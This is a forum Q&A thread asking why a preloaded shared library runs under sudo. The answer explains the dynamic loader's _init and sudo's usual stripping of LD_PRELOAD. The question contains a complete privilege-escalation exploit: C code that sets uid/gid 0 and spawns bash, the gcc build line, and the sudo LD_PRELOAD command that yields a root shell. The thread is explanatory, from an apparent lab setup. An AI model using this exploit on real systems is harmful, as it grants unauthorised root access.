2

So I have been reading about the preload feature of the dynamic liner (dl) and how it can be used to load a user specified, shared library (.so) using the LD_PRELOAD env variable, before all other shared libraries which are linked to an executable will be loaded. I was reading about it in context of privelage escalation. Let's and I'm wondering why isn't there any sort of control of what the application is trying to load ?

I created and compiled the following code:

#include <stdio.h>
    #include <sys/types.h> 
    #include <stdlib.h>
    void _init() 
    { 
      unsetenv("LD_PRELOAD");
      setgid(0);
      setuid(0); 
      system("/bin/bash");
    }


gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

enter image description here

If I then run sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find a root shell is spawned. I know that I can runn find with sudo as seen on the picture but I don't undertand why the function from my fake shared library is called when that function is not needed within find ? Or is it, that the linker just loads the specified library in the env variable without checking if the app is even needing it ?

I'd be great if someone can answer to clear my confusion.

Thank you!

1
  • Look at the source of the checkinstall package. It uses LD_PRELOAD – waltinator Nov 9 '20 at 13:05
2

is it, that the linker just loads the specified library in the env variable without checking if the app is even needing it ?

Yes, that's the point of LD_PRELOAD: the libraries listed there are loaded before the program. LD_PRELOAD is a way to change the behavior of a program.

why the function from my fake shared library is called when that function is not needed within find ?

_init runs very early in the startup of the program. The dynamic loader calls it. It isn't called explicitly from the source code of find. See for example A General Overview of What Happens Before main() or Linux x86 Program Start Up or How main() is executed on Linux.

If you had preloaded a definition of a function that never gets called, your definition would not have mattered.

I'm wondering why isn't there any sort of control of what the application is trying to load ?

Normally users can run whatever they want. All the code that a user runs runs with that user's privileges. Controls are only necessary where there is an elevation of privileges.

Sudo allows elevating privileges. Because of that, it normally forbids features that allow a user to do things that the administrator might not have wanted when the administrator configured the sudo rules. In particular, sudo forbids most environment variables, especially LD_LIBRARY_PATH and LD_PRELOAD. You're working on a system that has a vulnerable sudo configuration. This is for demonstration purposes.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.